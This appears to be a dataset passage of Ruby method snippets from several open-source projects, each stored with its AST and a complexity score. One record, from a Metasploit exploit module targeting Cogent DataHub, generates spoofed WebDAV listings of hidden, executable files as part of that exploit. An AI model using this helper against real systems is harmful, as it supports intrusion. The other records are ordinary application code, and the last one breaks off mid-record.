{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/file/base.rb","start_line":92,"raw_source":"def load_and_validate_expanded_hash!\n              return errors.push(\"`#{masked_location}`: #{content_result.error}\") unless content_result.valid?\n\n              if content_result.interpolated? && context.user.present?\n                ::Gitlab::UsageDataCounters::HLLRedisCounter\n                  .track_event('ci_interpolation_users', values: context.user.id)\n              end\n\n              context.logger.instrument(:config_file_expand_content_includes) do\n                expanded_content_hash # calling the method expands then memoizes the result\n              end\n\n              validate_hash!\n            end","complexity_score":30.3,"ast_json":"{\"type\":\"def\",\"children\":[\"load_and_validate_expanded_hash!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_result\"]},\"valid?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"push\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"masked_location\"]}]},{\"type\":\"str\",\"children\":[\"`: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_result\"]},\"error\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_result\"]},\"interpolated?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"user\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"UsageDataCounters\"]},\"HLLRedisCounter\"]},\"track_event\",{\"type\":\"str\",\"children\":[\"ci_interpolation_users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"user\"]},\"id\"]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"logger\"]},\"instrument\",{\"type\":\"sym\",\"children\":[\"config_file_expand_content_includes\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"expanded_content_hash\"]}]},{\"type\":\"send\",\"children\":[null,\"validate_hash!\"]}]}]}","id":"e58e7a1d-d672-4b6f-bd03-586b2a53896a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/cogent_datahub_command.rb","start_line":284,"raw_source":"def generate_files(path)\n    trail = path.split(\"/\")\n    return \"\" if trail.length < 2\n\n    base = @basename\n    exts = @extensions.gsub(\",\", \" \").split(/\\s+/)\n    files = \"\"\n    exts.each do |ext|\n      files << %Q|\n<D:response xmlns:lp1=\"DAV:\" xmlns:lp2=\"http://apache.org/dav/props/\">\n<D:href>#{path}#{base}.#{ext}</D:href>\n<D:propstat>\n<D:prop>\n<lp1:resourcetype/>\n<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>\n<lp1:getcontentlength>#{rand(0x10000) + 120}</lp1:getcontentlength>\n<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>\n<lp1:getetag>\"#{\"%.16x\" % rand(0x100000000)}\"</lp1:getetag>\n<lp2:executable>T</lp2:executable>\n<D:supportedlock>\n<D:lockentry>\n<D:lockscope><D:exclusive/></D:lockscope>\n<D:locktype><D:write/></D:locktype>\n</D:lockentry>\n<D:lockentry>\n<D:lockscope><D:shared/></D:lockscope>\n<D:locktype><D:write/></D:locktype>\n</D:lockentry>\n</D:supportedlock>\n<D:lockdiscovery/>\n<D:getcontenttype>application/octet-stream</D:getcontenttype>\n</D:prop>\n<D:status>HTTP/1.1 200 OK</D:status>\n<D:ishidden b:dt=\"boolean\">1</D:ishidden>\n</D:propstat>\n</D:response>\n|\n    end\n\n    files\n  end","complexity_score":23.23,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"trail\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trail\"]},\"length\"]},\"<\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"ivar\",\"children\":[\"@basename\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@extensions\"]},\"gsub\",{\"type\":\"str\",\"children\":[\",\"]},{\"type\":\"str\",\"children\":[\" \"]}]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ext\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"<D:response xmlns:lp1=\\\"DAV:\\\" xmlns:lp2=\\\"http://apache.org/dav/props/\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<D:href>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext\"]}]},{\"type\":\"str\",\"children\":[\"</D:href>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:propstat>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:prop>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp1:resourcetype/>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp1:creationdate>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gen_datestamp\"]}]},{\"type\":\"str\",\"children\":[\"</lp1:creationdate>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp1:getcontentlength>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[65536]}]},\"+\",{\"type\":\"int\",\"children\":[120]}]}]},{\"type\":\"str\",\"children\":[\"</lp1:getcontentlength>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp1:getlastmodified>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gen_timestamp\"]}]},{\"type\":\"str\",\"children\":[\"</lp1:getlastmodified>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp1:getetag>\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%.16x\"]},\"%\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[4294967296]}]}]}]},{\"type\":\"str\",\"children\":[\"\\\"</lp1:getetag>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp2:executable>T</lp2:executable>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:supportedlock>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:lockentry>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:lockscope><D:exclusive/></D:lockscope>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:locktype><D:write/></D:locktype>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:lockentry>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:lockentry>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:lockscope><D:shared/></D:lockscope>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:locktype><D:write/></D:locktype>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:lockentry>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:supportedlock>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:lockdiscovery/>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:getcontenttype>application/octet-stream</D:getcontenttype>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:prop>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:status>HTTP/1.1 200 OK</D:status>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:ishidden b:dt=\\\"boolean\\\">1</D:ishidden>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:propstat>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:response>\\n\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"files\"]}]}]}","id":"ffe222fb-a04d-4b8b-b1c1-13fcf8a7a62e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/user_filter_component.rb","start_line":63,"raw_source":"def apply_filters(params, query)\n      super\n      filter_status query, status_param(params)\n\n      query\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_filters\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"filter_status\",{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"send\",\"children\":[null,\"status_param\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}","id":"5374ff00-f44c-4e8f-9cf2-d1d50f8d3cb7"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/renderer/collection_renderer.rb","start_line":79,"raw_source":"def initialize(collection, path, variables, relation)\n        super(collection, path, variables)\n        relation.skip_preloading! unless relation.loaded?\n        @relation = relation\n      end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"collection\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"variables\"]},{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collection\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"variables\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"loaded?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"skip_preloading!\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@relation\",{\"type\":\"lvar\",\"children\":[\"relation\"]}]}]}]}","id":"c2504cf5-b908-4047-9cbb-0e3ee9c9bbd6"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/git_repository.rb","start_line":229,"raw_source":"def acquire_git_lock\n    return false if git_lock\n\n    FileUtils.mkdir_p(LOCKFILE_DIR)\n\n    @git_lock = File.open(git_lock_filename, File::RDWR | File::CREAT, 0o644)\n    @git_lock.flock(File::LOCK_EX)                         # block waiting for lock\n    @git_lock.write(\"#{Process.pid} - #{Time.zone.now}\\n\") # for debugging\n    @git_lock.flush                                        # write current data\n    @git_lock.truncate(@git_lock.pos)                      # clean up remaining chars\n\n    true\n  end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"acquire_git_lock\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"git_lock\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"const\",\"children\":[null,\"LOCKFILE_DIR\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@git_lock\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"send\",\"children\":[null,\"git_lock_filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"RDWR\"]},\"|\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"CREAT\"]}]},{\"type\":\"int\",\"children\":[420]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@git_lock\"]},\"flock\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"LOCK_EX\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@git_lock\"]},\"write\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"pid\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@git_lock\"]},\"flush\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@git_lock\"]},\"truncate\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@git_lock\"]},\"pos\"]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"1c9ddf95-fb91-4818-b534-8592bd95602e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/account.rb","start_line":126,"raw_source":"def remove_group(owner)\n    with_valid_account_type('user') { remove_parent(owner) }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"owner\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_valid_account_type\",{\"type\":\"str\",\"children\":[\"user\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_parent\",{\"type\":\"lvar\",\"children\":[\"owner\"]}]}]}]}","id":"75aff006-a9c4-4576-aeb7-aabab27df6db"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/string_conversion_safety.rb","start_line":49,"raw_source":"def Rational(arg, ...)\n    StringConversionSafety.check_string_size!(arg)\n\n    original_rational(arg, ...)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"Rational\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]},{\"type\":\"forward_arg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringConversionSafety\"]},\"check_string_size!\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"send\",\"children\":[null,\"original_rational\",{\"type\":\"lvar\",\"children\":[\"arg\"]},{\"type\":\"forwarded_args\",\"children\":[]}]}]}]}","id":"f3cfcca7-edba-4ac5-b8b9-195c34bdc068"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/form_helper.rb","start_line":56,"raw_source":"def assignees_dropdown_options(issuable_type)\n    dropdown_data = {\n      toggle_class: 'js-user-search js-assignee-search js-multiselect js-save-user-data',\n      title: _('Select assignee'),\n      filter: true,\n      dropdown_class: 'dropdown-menu-user dropdown-menu-selectable dropdown-menu-assignee',\n      placeholder: _('Search users'),\n      data: {\n        first_user: current_user&.username,\n        null_user: true,\n        current_user: true,\n        project_id: (@target_project || @project)&.id,\n        field_name: \"#{issuable_type}[assignee_ids][]\",\n        default_label: _('Unassigned'),\n        'max-select': 1,\n        'dropdown-header': s_('SearchToken|Assignee'),\n        multi_select: true,\n        'input-meta': 'name',\n        'always-show-selectbox': true,\n        current_user_info: UserSerializer.new.represent(current_user),\n        testid: 'assignee-ids-dropdown-toggle'\n      }\n    }\n\n    type = issuable_type.to_s\n\n    if (type == 'issue' && issue_supports_multiple_assignees?) ||\n        (type == 'merge_request' && merge_request_supports_multiple_assignees?)\n      dropdown_data = multiple_assignees_dropdown_options(dropdown_data)\n    end\n\n    dropdown_data\n  end","complexity_score":26.45,"ast_json":"{\"type\":\"def\",\"children\":[\"assignees_dropdown_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issuable_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dropdown_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"toggle_class\"]},{\"type\":\"str\",\"children\":[\"js-user-search js-assignee-search js-multiselect js-save-user-data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Select assignee\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dropdown_class\"]},{\"type\":\"str\",\"children\":[\"dropdown-menu-user dropdown-menu-selectable dropdown-menu-assignee\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Search users\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_user\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null_user\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target_project\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"field_name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable_type\"]}]},{\"type\":\"str\",\"children\":[\"[assignee_ids][]\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_label\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Unassigned\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max-select\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dropdown-header\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"SearchToken|Assignee\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multi_select\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input-meta\"]},{\"type\":\"str\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"always-show-selectbox\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user_info\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserSerializer\"]},\"new\"]},\"represent\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"testid\"]},{\"type\":\"str\",\"children\":[\"assignee-ids-dropdown-toggle\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable_type\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"issue\"]}]},{\"type\":\"send\",\"children\":[null,\"issue_supports_multiple_assignees?\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[null,\"merge_request_supports_multiple_assignees?\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dropdown_data\",{\"type\":\"send\",\"children\":[null,\"multiple_assignees_dropdown_options\",{\"type\":\"lvar\",\"children\":[\"dropdown_data\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"dropdown_data\"]}]}]}","id":"b87f874f-517a-4939-ad71-fb70dd2aec76"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_badges_groupings.rb","start_line":27,"raw_source":"def closed?\n        page.has_no_css?(\".badge-groupings-modal\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"closed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_no_css?\",{\"type\":\"str\",\"children\":[\".badge-groupings-modal\"]}]}]}","id":"81af25b5-3a18-4acc-81ba-e7a0ccbeef8b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/helpers/mask_token.rb","start_line":7,"raw_source":"def use_ci_variable(name:, value:, project:)\n          Resource::CiVariable.fabricate_via_api! do |ci_variable|\n            ci_variable.project = project\n            ci_variable.key = name\n            ci_variable.value = value\n            ci_variable.masked = true\n          end\n          \"${#{name}}\"\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"use_ci_variable\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"name\"]},{\"type\":\"kwarg\",\"children\":[\"value\"]},{\"type\":\"kwarg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Resource\"]},\"CiVariable\"]},\"fabricate_via_api!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ci_variable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci_variable\"]},\"project=\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci_variable\"]},\"key=\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci_variable\"]},\"value=\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci_variable\"]},\"masked=\",{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"${\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"}\"]}]}]}]}","id":"2c363c22-1b45-4924-85d1-5fcb3cffb359"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/wizard_field_serializer.rb","start_line":25,"raw_source":"def required\n    object.required\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"required\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"required\"]}]}","id":"d0a8b063-b5da-4060-8b92-50c469237b7f"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/snapshot/lib/snapshot/test_command_generator_base.rb","start_line":20,"raw_source":"def options(language, locale)\n        config = Snapshot.config\n        result_bundle_path = resolve_result_bundle_path(language, locale) if config[:result_bundle]\n\n        options = []\n        options += project_path_array\n        options << \"-sdk '#{config[:sdk]}'\" if config[:sdk]\n        if derived_data_path && !options.include?(\"-derivedDataPath #{derived_data_path.shellescape}\")\n          options << \"-derivedDataPath #{derived_data_path.shellescape}\"\n        end\n        options << \"-resultBundlePath '#{result_bundle_path}'\" if result_bundle_path\n        if FastlaneCore::Helper.xcode_at_least?(11)\n          options << \"-testPlan '#{config[:testplan]}'\" if config[:testplan]\n        end\n        options << config[:xcargs] if config[:xcargs]\n\n        # detect_values will ensure that these values are present as Arrays if\n        # they are present at all\n        options += config[:only_testing].map { |test_id| \"-only-testing:#{test_id.shellescape}\" } if config[:only_testing]\n        options += config[:skip_testing].map { |test_id| \"-skip-testing:#{test_id.shellescape}\" } if config[:skip_testing]\n        return options\n      end","complexity_score":60.4,"ast_json":"{\"type\":\"def\",\"children\":[\"options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"language\"]},{\"type\":\"arg\",\"children\":[\"locale\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Snapshot\"]},\"config\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"result_bundle\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result_bundle_path\",{\"type\":\"send\",\"children\":[null,\"resolve_result_bundle_path\",{\"type\":\"lvar\",\"children\":[\"language\"]},{\"type\":\"lvar\",\"children\":[\"locale\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"project_path_array\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sdk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-sdk '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sdk\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"derived_data_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"include?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-derivedDataPath \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"derived_data_path\"]},\"shellescape\"]}]}]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-derivedDataPath \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"derived_data_path\"]},\"shellescape\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_bundle_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-resultBundlePath 